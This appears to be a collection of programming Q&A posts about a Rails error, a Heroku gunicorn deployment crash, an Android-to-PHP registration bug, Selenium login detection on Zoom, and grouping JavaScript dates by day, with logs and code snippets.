/home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/command.rb:46:in `invoke' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/commands.rb:18:in `&lt;main&gt;' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:23:in `require' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:23:in `block in require_with_bootsnap_lfi' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/loaded_features_index.rb:92:in `register' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:22:in `require_with_bootsnap_lfi' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:31:in `require' from bin/rails:4:in `&lt;main&gt;' </code></pre> <p>I'm using Rails 5.2.5 with ruby 2.3.3 for now. The error stacktrace isn't telling me anything significant at least nothing that I can determine.</p> <p>Could I kindly get some pointers as to where can a good place to look be?</p> <p>Edit: I linked to a post that has an answer to this. Basically if this error happens a good way is to look at the gems to see if there is a specific gem that needs to be upgraded.</p>
3
2,936
How I fix erro in gunicorn when I deploy django app in Heroku?
<p>When I run <code>git push heroku master</code>the build works with success, but, the app doen't works... Looking for some problems I open logs <code>heroku logs</code>and have it:</p> <pre><code>&gt; heroku logs 2016-11-17T16:53:48.005794+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/app/wsgiapp.py", line 52, in load_wsgiapp 2016-11-17T16:53:48.005794+00:00 app[web.1]: return util.import_app(self.app_uri) 2016-11-17T16:53:48.005794+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/util.py", line 357, in import_app 2016-11-17T16:53:48.005795+00:00 app[web.1]: __import__(module) 2016-11-17T16:53:48.005795+00:00 app[web.1]: File "/app/myapp/wsgi.py", line 22, in &lt;module&gt; 2016-11-17T16:53:48.005796+00:00 app[web.1]: application = get_wsgi_application() 2016-11-17T16:53:48.005796+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/core/wsgi.py", line 13, in get_wsgi_application 2016-11-17T16:53:48.005797+00:00 app[web.1]: django.setup() 2016-11-17T16:53:48.005797+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/__init__.py", line 18, in setup 2016-11-17T16:53:48.005798+00:00 app[web.1]: apps.populate(settings.INSTALLED_APPS) 2016-11-17T16:53:48.005798+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/apps/registry.py", line 85, in populate 2016-11-17T16:53:48.005798+00:00 app[web.1]: app_config = AppConfig.create(entry) 2016-11-17T16:53:48.005799+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/apps/config.py", line 90, in create 2016-11-17T16:53:48.005799+00:00 app[web.1]: module = import_module(entry) 2016-11-17T16:53:48.005800+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/importlib/__init__.py", line 126, in import_module 2016-11-17T16:53:48.005800+00:00 app[web.1]: return _bootstrap._gcd_import(name[level:], package, level) 2016-11-17T16:53:48.005803+00:00 app[web.1]: ImportError: No module named 'base' 2016-11-17T16:53:48.006060+00:00 app[web.1]: [2016-11-17 13:53:48 -0300] [8] [INFO] Worker exiting (pid: 8) 2016-11-17T16:53:48.121161+00:00 app[web.1]: [2016-11-17 13:53:48 -0300] [9] [ERROR] Exception in worker process 2016-11-17T16:53:48.121165+00:00 app[web.1]: Traceback (most recent call last): 2016-11-17T16:53:48.121166+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 557, in spawn_worker 2016-11-17T16:53:48.121167+00:00 app[web.1]: worker.init_process() 2016-11-17T16:53:48.121168+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/workers/base.py", line 126, in init_process 2016-11-17T16:53:48.121169+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/workers/base.py", line 136, in load_wsgi 2016-11-17T16:53:48.121168+00:00 app[web.1]: self.load_wsgi() 2016-11-17T16:53:48.121176+00:00 app[web.1]: self.wsgi = self.app.wsgi() 2016-11-17T16:53:48.121177+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/app/base.py", line 67, in wsgi 2016-11-17T16:53:48.121189+00:00 app[web.1]: self.callable = self.load() 2016-11-17T16:53:48.121190+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/app/wsgiapp.py", line 65, in load 2016-11-17T16:53:48.121191+00:00 app[web.1]: return self.load_wsgiapp() 2016-11-17T16:53:48.121192+00:00 app[web.1]: return util.import_app(self.app_uri) 2016-11-17T16:53:48.121192+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/app/wsgiapp.py", line 52, in load_wsgiapp 2016-11-17T16:53:48.121193+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/util.py", line 357, in import_app 2016-11-17T16:53:48.121193+00:00 app[web.1]: __import__(module) 2016-11-17T16:53:48.121194+00:00 app[web.1]: File "/app/myapp/wsgi.py", line 22, in &lt;module&gt; 2016-11-17T16:53:48.121195+00:00 app[web.1]: application = get_wsgi_application() 2016-11-17T16:53:48.121196+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/core/wsgi.py", line 13, in get_wsgi_application 2016-11-17T16:53:48.121196+00:00 app[web.1]: django.setup() 2016-11-17T16:53:48.121197+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/__init__.py", line 18, in setup 2016-11-17T16:53:48.121198+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/apps/registry.py", line 85, in populate 2016-11-17T16:53:48.121197+00:00 app[web.1]: apps.populate(settings.INSTALLED_APPS) 2016-11-17T16:53:48.121199+00:00 app[web.1]: app_config = AppConfig.create(entry) 2016-11-17T16:53:48.121200+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/django/apps/config.py", line 90, in create 2016-11-17T16:53:48.121200+00:00 app[web.1]: module = import_module(entry) 2016-11-17T16:53:48.121201+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/importlib/__init__.py", line 126, in import_module 2016-11-17T16:53:48.121201+00:00 app[web.1]: return _bootstrap._gcd_import(name[level:], package, level) 2016-11-17T16:53:48.121207+00:00 app[web.1]: ImportError: No module named 'base' 2016-11-17T16:53:48.121584+00:00 app[web.1]: [2016-11-17 13:53:48 -0300] [9] [INFO] Worker exiting (pid: 9) 2016-11-17T16:53:48.192257+00:00 app[web.1]: Traceback (most recent call last): 2016-11-17T16:53:48.192263+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 196, in run 2016-11-17T16:53:48.192604+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 346, in sleep 2016-11-17T16:53:48.192600+00:00 app[web.1]: self.sleep() 2016-11-17T16:53:48.192790+00:00 app[web.1]: ready = select.select([self.PIPE[0]], [], [], 1.0) 2016-11-17T16:53:48.192792+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 231, in handle_chld 2016-11-17T16:53:48.192947+00:00 app[web.1]: self.reap_workers() 2016-11-17T16:53:48.192950+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 506, in reap_workers 2016-11-17T16:53:48.193196+00:00 app[web.1]: raise HaltServer(reason, self.WORKER_BOOT_ERROR) 2016-11-17T16:53:48.193244+00:00 app[web.1]: gunicorn.errors.HaltServer: &lt;HaltServer 'Worker failed to boot.' 3&gt; 2016-11-17T16:53:48.193247+00:00 app[web.1]: 2016-11-17T16:53:48.193248+00:00 app[web.1]: During handling of the above exception, another exception occurred: 2016-11-17T16:53:48.193249+00:00 app[web.1]: 2016-11-17T16:53:48.193251+00:00 app[web.1]: Traceback (most recent call last): 2016-11-17T16:53:48.193273+00:00 app[web.1]: File "/app/.heroku/python/bin/gunicorn", line 11, in &lt;module&gt; 2016-11-17T16:53:48.193397+00:00 app[web.1]: sys.exit(run()) 2016-11-17T16:53:48.193401+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/app/wsgiapp.py", line 74, in run 2016-11-17T16:53:48.193540+00:00 app[web.1]: WSGIApplication("%(prog)s [OPTIONS] [APP_MODULE]").run() 2016-11-17T16:53:48.193544+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/app/base.py", line 192, in run 2016-11-17T16:53:48.193706+00:00 app[web.1]: super(Application, self).run() 2016-11-17T16:53:48.193710+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/app/base.py", line 72, in run 2016-11-17T16:53:48.193831+00:00 app[web.1]: Arbiter(self).run() 2016-11-17T16:53:48.194037+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 331, in halt 2016-11-17T16:53:48.194003+00:00 app[web.1]: self.halt(reason=inst.reason, exit_status=inst.exit_status) 2016-11-17T16:53:48.193848+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 218, in run 2016-11-17T16:53:48.194242+00:00 app[web.1]: self.stop() 2016-11-17T16:53:48.194266+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 381, in stop 2016-11-17T16:53:48.194442+00:00 app[web.1]: time.sleep(0.1) 2016-11-17T16:53:48.194446+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 231, in handle_chld 2016-11-17T16:53:48.194594+00:00 app[web.1]: self.reap_workers() 2016-11-17T16:53:48.194598+00:00 app[web.1]: File "/app/.heroku/python/lib/python3.5/site-packages/gunicorn/arbiter.py", line 506, in reap_workers 2016-11-17T16:53:48.194811+00:00 app[web.1]: raise HaltServer(reason, self.WORKER_BOOT_ERROR) 2016-11-17T16:53:48.194841+00:00 app[web.1]: gunicorn.errors.HaltServer: &lt;HaltServer 'Worker failed to boot.' 3&gt; 2016-11-17T19:16:42.778427+00:00 heroku[slug-compiler]: Slug compilation started 2016-11-17T19:16:42.778433+00:00 heroku[slug-compiler]: Slug compilation finished 2016-11-17T19:16:42.979828+00:00 heroku[web.1]: State changed from crashed to starting 2016-11-17T19:16:50.202921+00:00 heroku[web.1]: Starting process with command `gunicorn myapp.wsgi --log-file -` 2016-11-17T19:16:52.256740+00:00 heroku[web.1]: Process exited with status 127 2016-11-17T19:16:52.245591+00:00 heroku[web.1]: State changed from starting to crashed 2016-11-17T19:16:52.246568+00:00 heroku[web.1]: State changed from crashed to starting 2016-11-17T19:16:52.170203+00:00 app[web.1]: bash: gunicorn: command not found 2016-11-17T19:17:00.048099+00:00 heroku[web.1]: Starting process with command `gunicorn myapp.wsgi --log-file -` 2016-11-17T19:17:02.005321+00:00 heroku[web.1]: Process exited with status 127 2016-11-17T19:17:02.025530+00:00 heroku[web.1]: State changed from starting to crashed 2016-11-17T19:17:01.929591+00:00 app[web.1]: bash: gunicorn: command not found 2016-11-17T19:17:02.796563+00:00 heroku[router]: at=error code=H10 desc="App crashed" method=GET path="/" host=myapp.herokuapp.com request_id=5a35818e-0f8d-4343-9b86-18b07bd14f59 fwd="186.249.59.170" dyno= connect= service= status=503 bytes= 2016-11-17T19:17:15.898320+00:00 heroku[router]: at=error code=H10 desc="App crashed" method=GET path="/" host=myapp.herokuapp.com request_id=1354b49b-b9c9-48a1-9917-5d4b5241fdda fwd="186.249.59.170" dyno= connect= service= status=503 bytes= 2016-11-17T19:18:06.649990+00:00 heroku[run.2110]: Awaiting client 2016-11-17T19:18:06.673878+00:00 heroku[run.2110]: Starting process with command `bash` 2016-11-17T19:18:06.905693+00:00 heroku[run.2110]: State changed from starting to up 2016-11-17T19:19:37.129610+00:00 heroku[router]: at=error code=H10 desc="App crashed" method=GET path="/" host=myapp.herokuapp.com request_id=5922ceca-9f79-46c0-8b05-3fdc86989081 fwd="186.249.59.170" dyno= connect= service= status=503 bytes= 2016-11-17T19:20:00.589411+00:00 heroku[run.2110]: Process exited with status 148 2016-11-17T19:20:00.600754+00:00 heroku[run.2110]: State changed from up to complete </code></pre> <p>My Procfile is standard <code>web: gunicorn opportunis.wsgi --log-file -</code> and my settings is:</p> <pre><code>settings |_ __init__.py |_ locals_settings.py |_ sever_settings.py </code></pre> <p>In <code>__init__.py</code> I have it:</p> <pre><code># -*- coding: utf-8 -*- import os var = os.getenv('IS_SERVER', 0) if bool(var): try: from .server_settings import * except ImportError: from .locals_settings import * </code></pre> <p>And the diference between <code>locals_settings</code>and <code>server_settings</code>is <code>debug off</code>, <code>DATABASES</code>and some configs to <code>dj_database_url</code>. In <code>wsgi.py</code>I have this code:</p> <pre><code>import os var = os.getenv('IS_SERVER', 0) from django.core.wsgi import get_wsgi_application from whitenoise.django import DjangoWhiteNoise if bool(var): try: os.environ.setdefault("DJANGO_SETTINGS_MODULE", "myapp.settings.server_settings") except ImportError: os.environ.setdefault("DJANGO_SETTINGS_MODULE", "myapp.settings.locals_settings") application = get_wsgi_application() application = DjangoWhiteNoise(application) </code></pre> <p>What I did or didn't to failed?</p>
3
5,531
Connection of android app with a website database
<p>I'm very new in android and I'm developing an application that passes data from android to MySQL through PHP. I'm in registering users part now. I got some codes from searching but while i'm implementing it, I'm getting run-time errors. This is my code. The <code>logcat</code> is also at the bottom.</p> <pre><code>public class RegisterActivity extends Activity { // Progress Dialog private ProgressDialog pDialog; JSONParser jsonParser = new JSONParser(); EditText registerName; EditText registerRollno; EditText inputDesc; // url to create new product private static String url_create_voter = "http://10.0.2.2/evoting/create_voter.php"; // JSON Node names private static final String TAG_SUCCESS = "success"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.register1); // Edit Text EditText registerName = (EditText) findViewById(R.id.registerName); EditText registerRollno = (EditText) findViewById(R.id.registerRollno); // inputDesc = (EditText) findViewById(R.id.inputDesc); // Create button Button btnSubmit = (Button) findViewById(R.id.btnSubmit); // button click event btnSubmit.setOnClickListener(new View.OnClickListener() { public void onClick(View view) { // creating new product in background thread new CreateNewVoter().execute(); } }); } /** * Background Async Task to Create new product * */ class CreateNewVoter extends AsyncTask&lt;String, String, String&gt; { /** * Before starting background thread Show Progress Dialog * */ @Override protected void onPreExecute() { super.onPreExecute(); pDialog = new ProgressDialog(RegisterActivity.this); pDialog.setMessage("Creating Voter.."); pDialog.setIndeterminate(false); pDialog.setCancelable(true); pDialog.show(); } /** * Creating product * */ protected String doInBackground(String... args) { String name = registerName.getText().toString(); String rollno = registerRollno.getText().toString(); //String description = inputDesc.getText().toString(); // Building Parameters List&lt;NameValuePair&gt; params = new ArrayList&lt;NameValuePair&gt;(); params.add(new BasicNameValuePair("name", name)); params.add(new BasicNameValuePair("rollno", rollno)); // params.add(new BasicNameValuePair("description", description)); // getting JSON Object // Note that create product url accepts POST method JSONObject json = jsonParser.makeHttpRequest(url_create_voter, "POST", params); // check log cat fro response Log.d("Create Response", json.toString()); // check for success tag try { int success = json.getInt(TAG_SUCCESS); if (success == 1) { // successfully created product Intent i = new Intent(getApplicationContext(), CreateVoterSuccess.class); startActivity(i); // closing this screen finish(); } else { Intent i = new Intent(getApplicationContext(), CreateVoterFail.class); startActivity(i); // failed to create product } } catch (JSONException e) { e.printStackTrace(); } return null; } /** * After completing background task Dismiss the progress dialog * **/ protected void onPostExecute(String file_url) { // dismiss the dialog once done pDialog.dismiss(); } } } </code></pre> <p>This is the <code>logcat</code>:</p> <pre><code>09-22 05:47:52.343: W/KeyCharacterMap(279): No keyboard for id 0 09-22 05:47:52.343: W/KeyCharacterMap(279): Using default keymap: /system/usr/keychars/qwerty.kcm.bin 09-22 05:47:54.403: W/dalvikvm(279): threadid=7: thread exiting with uncaught exception (group=0x4001d800) 09-22 05:47:54.414: E/AndroidRuntime(279): FATAL EXCEPTION: AsyncTask #1 09-22 05:47:54.414: E/AndroidRuntime(279): java.lang.RuntimeException: An error occured while executing doInBackground() 09-22 05:47:54.414: E/AndroidRuntime(279): at android.os.AsyncTask$3.done(AsyncTask.java:200) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.util.concurrent.FutureTask$Sync.innerSetException(FutureTask.java:273) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.util.concurrent.FutureTask.setException(FutureTask.java:124) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:307) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.util.concurrent.FutureTask.run(FutureTask.java:137) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1068) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:561) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.lang.Thread.run(Thread.java:1096) 09-22 05:47:54.414: E/AndroidRuntime(279): Caused by: java.lang.NullPointerException 09-22 05:47:54.414: E/AndroidRuntime(279): at com.example.evoting.RegisterActivity$CreateNewVoter.doInBackground(RegisterActivity.java:83) 09-22 05:47:54.414: E/AndroidRuntime(279): at com.example.evoting.RegisterActivity$CreateNewVoter.doInBackground(RegisterActivity.java:1) 09-22 05:47:54.414: E/AndroidRuntime(279): at android.os.AsyncTask$2.call(AsyncTask.java:185) 09-22 05:47:54.414: E/AndroidRuntime(279): at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:305) 09-22 05:47:54.414: E/AndroidRuntime(279): ... 4 more 09-22 05:47:55.313: E/WindowManager(279): Activity com.example.evoting.RegisterActivity has leaked window com.android.internal.policy.impl.PhoneWindow$DecorView@44f28db0 that was originally added here 09-22 05:47:55.313: E/WindowManager(279): android.view.WindowLeaked: Activity com.example.evoting.RegisterActivity has leaked window com.android.internal.policy.impl.PhoneWindow$DecorView@44f28db0 that was originally added here 09-22 05:47:55.313: E/WindowManager(279): at android.view.ViewRoot.&lt;init&gt;(ViewRoot.java:247) 09-22 05:47:55.313: E/WindowManager(279): at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:148) 09-22 05:47:55.313: E/WindowManager(279): at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:91) 09-22 05:47:55.313: E/WindowManager(279): at android.view.Window$LocalWindowManager.addView(Window.java:424) 09-22 05:47:55.313: E/WindowManager(279): at android.app.Dialog.show(Dialog.java:241) 09-22 05:47:55.313: E/WindowManager(279): at com.example.evoting.RegisterActivity$CreateNewVoter.onPreExecute(RegisterActivity.java:76) 09-22 05:47:55.313: E/WindowManager(279): at android.os.AsyncTask.execute(AsyncTask.java:391) 09-22 05:47:55.313: E/WindowManager(279): at com.example.evoting.RegisterActivity$1.onClick(RegisterActivity.java:56) 09-22 05:47:55.313: E/WindowManager(279): at android.view.View.performClick(View.java:2408) 09-22 05:47:55.313: E/WindowManager(279): at android.view.View$PerformClick.run(View.java:8816) 09-22 05:47:55.313: E/WindowManager(279): at android.os.Handler.handleCallback(Handler.java:587) 09-22 05:47:55.313: E/WindowManager(279): at android.os.Handler.dispatchMessage(Handler.java:92) 09-22 05:47:55.313: E/WindowManager(279): at android.os.Looper.loop(Looper.java:123) 09-22 05:47:55.313: E/WindowManager(279): at android.app.ActivityThread.main(ActivityThread.java:4627) 09-22 05:47:55.313: E/WindowManager(279): at java.lang.reflect.Method.invokeNative(Native Method) 09-22 05:47:55.313: E/WindowManager(279): at java.lang.reflect.Method.invoke(Method.java:521) 09-22 05:47:55.313: E/WindowManager(279): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:868) 09-22 05:47:55.313: E/WindowManager(279): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:626) 09-22 05:47:55.313: E/WindowManager(279): at dalvik.system.NativeStart.main(Native Method) 09-22 05:47:57.133: I/Process(279): Sending signal. PID: 279 SIG: 9 09-22 05:56:34.157: W/KeyCharacterMap(291): No keyboard for id 0 09-22 05:56:34.157: W/KeyCharacterMap(291): Using default keymap: /system/usr/keychars/qwerty.kcm.bin 09-22 05:56:36.553: W/dalvikvm(291): threadid=7: thread exiting with uncaught exception (group=0x4001d800) 09-22 05:56:36.563: E/AndroidRuntime(291): FATAL EXCEPTION: AsyncTask #1 09-22 05:56:36.563: E/AndroidRuntime(291): java.lang.RuntimeException: An error occured while executing doInBackground() 09-22 05:56:36.563: E/AndroidRuntime(291): at android.os.AsyncTask$3.done(AsyncTask.java:200) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.util.concurrent.FutureTask$Sync.innerSetException(FutureTask.java:273) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.util.concurrent.FutureTask.setException(FutureTask.java:124) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:307) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.util.concurrent.FutureTask.run(FutureTask.java:137) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1068) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:561) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.lang.Thread.run(Thread.java:1096) 09-22 05:56:36.563: E/AndroidRuntime(291): Caused by: java.lang.NullPointerException 09-22 05:56:36.563: E/AndroidRuntime(291): at com.example.evoting.RegisterActivity$CreateNewVoter.doInBackground(RegisterActivity.java:83) 09-22 05:56:36.563: E/AndroidRuntime(291): at com.example.evoting.RegisterActivity$CreateNewVoter.doInBackground(RegisterActivity.java:1) 09-22 05:56:36.563: E/AndroidRuntime(291): at android.os.AsyncTask$2.call(AsyncTask.java:185) 09-22 05:56:36.563: E/AndroidRuntime(291): at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:305) 09-22 05:56:36.563: E/AndroidRuntime(291): ... 4 more 09-22 05:56:37.203: E/WindowManager(291): Activity com.example.evoting.RegisterActivity has leaked window com.android.internal.policy.impl.PhoneWindow$DecorView@44f21560 that was originally added here 09-22 05:56:37.203: E/WindowManager(291): android.view.WindowLeaked: Activity com.example.evoting.RegisterActivity has leaked window com.android.internal.policy.impl.PhoneWindow$DecorView@44f21560 that was originally added here 09-22 05:56:37.203: E/WindowManager(291): at android.view.ViewRoot.&lt;init&gt;(ViewRoot.java:247) 09-22 05:56:37.203: E/WindowManager(291): at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:148) 09-22 05:56:37.203: E/WindowManager(291): at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:91) 09-22 05:56:37.203: E/WindowManager(291): at android.view.Window$LocalWindowManager.addView(Window.java:424) 09-22 05:56:37.203: E/WindowManager(291): at android.app.Dialog.show(Dialog.java:241) 09-22 05:56:37.203: E/WindowManager(291): at com.example.evoting.RegisterActivity$CreateNewVoter.onPreExecute(RegisterActivity.java:76) 09-22 05:56:37.203: E/WindowManager(291): at android.os.AsyncTask.execute(AsyncTask.java:391) 09-22 05:56:37.203: E/WindowManager(291): at com.example.evoting.RegisterActivity$1.onClick(RegisterActivity.java:56) 09-22 05:56:37.203: E/WindowManager(291): at android.view.View.performClick(View.java:2408) 09-22 05:56:37.203: E/WindowManager(291): at android.view.View$PerformClick.run(View.java:8816) 09-22 05:56:37.203: E/WindowManager(291): at android.os.Handler.handleCallback(Handler.java:587) 09-22 05:56:37.203: E/WindowManager(291): at android.os.Handler.dispatchMessage(Handler.java:92) 09-22 05:56:37.203: E/WindowManager(291): at android.os.Looper.loop(Looper.java:123) 09-22 05:56:37.203: E/WindowManager(291): at android.app.ActivityThread.main(ActivityThread.java:4627) 09-22 05:56:37.203: E/WindowManager(291): at java.lang.reflect.Method.invokeNative(Native Method) 09-22 05:56:37.203: E/WindowManager(291): at java.lang.reflect.Method.invoke(Method.java:521) 09-22 05:56:37.203: E/WindowManager(291): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:868) 09-22 05:56:37.203: E/WindowManager(291): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:626) 09-22 05:56:37.203: E/WindowManager(291): at dalvik.system.NativeStart.main(Native Method) 09-22 05:56:41.412: I/Process(291): Sending signal. PID: 291 SIG: 9 </code></pre>
3
5,111
"Http 401 Unauthorized" when login through webdriver running browser
<p>In the concern website, (<a href="https://zoom.us/signin" rel="nofollow noreferrer">https://zoom.us/signin</a>) when I login in manually through browser, opened with geckodriver webdriver :</p> <pre><code>browser = webdriver.Firefox() #(Just an example, real code at the end of the answer) </code></pre> <p>It first prompts for captcha (which isn't asked for when login through normal browser on same website). Please note that I entered the link manually too. Then, after solving the captcha, it gives me the following error :</p> <pre><code>error: Http 401 Unauthorized </code></pre> <p>And I couldn't login at all, even though I did everything manually, which points out that it is somehow detecting that I'm using webdrive (please note that I'm NOT using headless Firefox).</p> <p>Now, regarding my findings:</p> <p>I used inspect element and tried to find what triggers when I click the sign in button.</p> <p>and, functions from only two files are trigger :</p> <p><code>login.min.js</code>, and <code>all.min.js</code></p> <p>I fetched the login.min.js and arranged it in readable form, here it is <a href="https://pastebin.com/SMFt1stC" rel="nofollow noreferrer">https://pastebin.com/SMFt1stC</a></p> <p>all.min.js is mix of common library, here's the link: <a href="https://st1.zoom.us/static/5.1.1662/js/all.min.js" rel="nofollow noreferrer">https://st1.zoom.us/static/5.1.1662/js/all.min.js</a></p> <p>One of the function on <code>login.min.js</code> that gets triggered on clicking sign in is this :</p> <pre><code>var c = $(&quot;#login-form&quot;); ..... ..... l.on(&quot;click&quot;, function() { c.find(&quot;span.help-block&quot;).remove(); c.find(&quot;div.has-error&quot;).removeClass(&quot;has-error&quot;); var t = c.valid(); if (!t) { c.find(&quot;div.has-error input&quot;).length &amp;&amp; c.find(&quot;div.has-error input&quot;).eq(0).trigger(&quot;focus&quot;); return } if (signinNeedCaptcha &amp;&amp; newCaptcha.isReCaptcha) { l.disableBtn(); window.setTimeout(function() { l.enableBtn() }, 3000); newCaptcha.executeReCaptcha(s, n) } else { c.trigger(&quot;submit&quot;) } </code></pre> <p>From here, I can clearly see what gets trigger after I click sign in.</p> <p>I entered it in console manually, that did a HTTP POST request, and it returned with same &quot;Http 401 Unauthorized&quot; error, which made me think what exactly is making it fail.</p> <p>In short, I want to know how exactly the site finds out that I'm using webdrive, so that I can mitigate it.</p> <p>To find this out, will I have to read every single JavaScript in the webpage myself to actually figure it out, or am I missing something obvious, or it isn't possible to figure out how they might be detecting browser as the code that might be doing it is in the backend? I'm new to web development so can't really figure that out.</p> <p>This is how I'm starting the webdriver through Python Selenium: <a href="https://pastebin.com/Aey09mCu" rel="nofollow noreferrer">https://pastebin.com/Aey09mCu</a></p>
3
1,195
get latest date for each day in an array of object?
<p>i have array of object which are sorted based on date/time, I have to form an array of object with latest data from each date?. I'm getting the solution with for loop but I need to use es6 and above, please help me with a better and advanced solution.</p> <pre><code>var array = [ { &quot;id&quot;: 1, &quot;date&quot;: &quot;2016-01-15T16:18:44.258843Z&quot;, &quot;status&quot;: &quot;NEW&quot;, &quot;request&quot;: 4 }, { &quot;id&quot;: 2, &quot;date&quot;: &quot;2016-01-15T18:18:44.258843Z&quot;, &quot;status&quot;: &quot;NEW&quot;, &quot;request&quot;: 4 }, { &quot;id&quot;: 3, &quot;date&quot;: &quot;2016-01-15T20:18:44.258843Z&quot;, &quot;status&quot;: &quot;NEW&quot;, &quot;request&quot;: 4 }, { &quot;id&quot;: 4, &quot;date&quot;: &quot;2016-01-19T16:18:44.258843Z&quot;, &quot;status&quot;: &quot;STD&quot;, &quot;request&quot;: 4 }, { &quot;id&quot;: 6, &quot;date&quot;: &quot;2016-01-23T17:18:44.258843Z&quot;, &quot;status&quot;: &quot;FOR&quot;, &quot;request&quot;: 4 }, { &quot;id&quot;: 5, &quot;date&quot;: &quot;2016-01-23T16:18:44.258843Z&quot;, &quot;status&quot;: &quot;FOR&quot;, &quot;request&quot;: 4 }] const list = filter(array, el =&gt; (el.date)); latestDate = list[0]?.date.slice(0, 10); latestResponse.push(res[0]); for (let i = array.length - 1; i &gt; 0; i--) { if (this.latestDate !== array[i].date.slice(0, 10)) { latestDate = (array[i].date).slice(0, 10); latestResponse.push(res[i]); } } </code></pre> <p>expected Output</p> <pre><code>var array = [ { &quot;id&quot;: 3, &quot;date&quot;: &quot;2016-01-15T20:18:44.258843Z&quot;, &quot;status&quot;: &quot;NEW&quot;, &quot;request&quot;: 4 }, { &quot;id&quot;: 4, &quot;date&quot;: &quot;2016-01-19T16:18:44.258843Z&quot;, &quot;status&quot;: &quot;STD&quot;, &quot;request&quot;: 4 }, { &quot;id&quot;: 5, &quot;date&quot;: &quot;2016-01-23T17:18:44.258843Z&quot;, &quot;status&quot;: &quot;FOR&quot;, &quot;request&quot;: 4 }] </code></pre>
3
1,234
Trying to take EmployeeID & EName from dropdown to be used in a query to display table
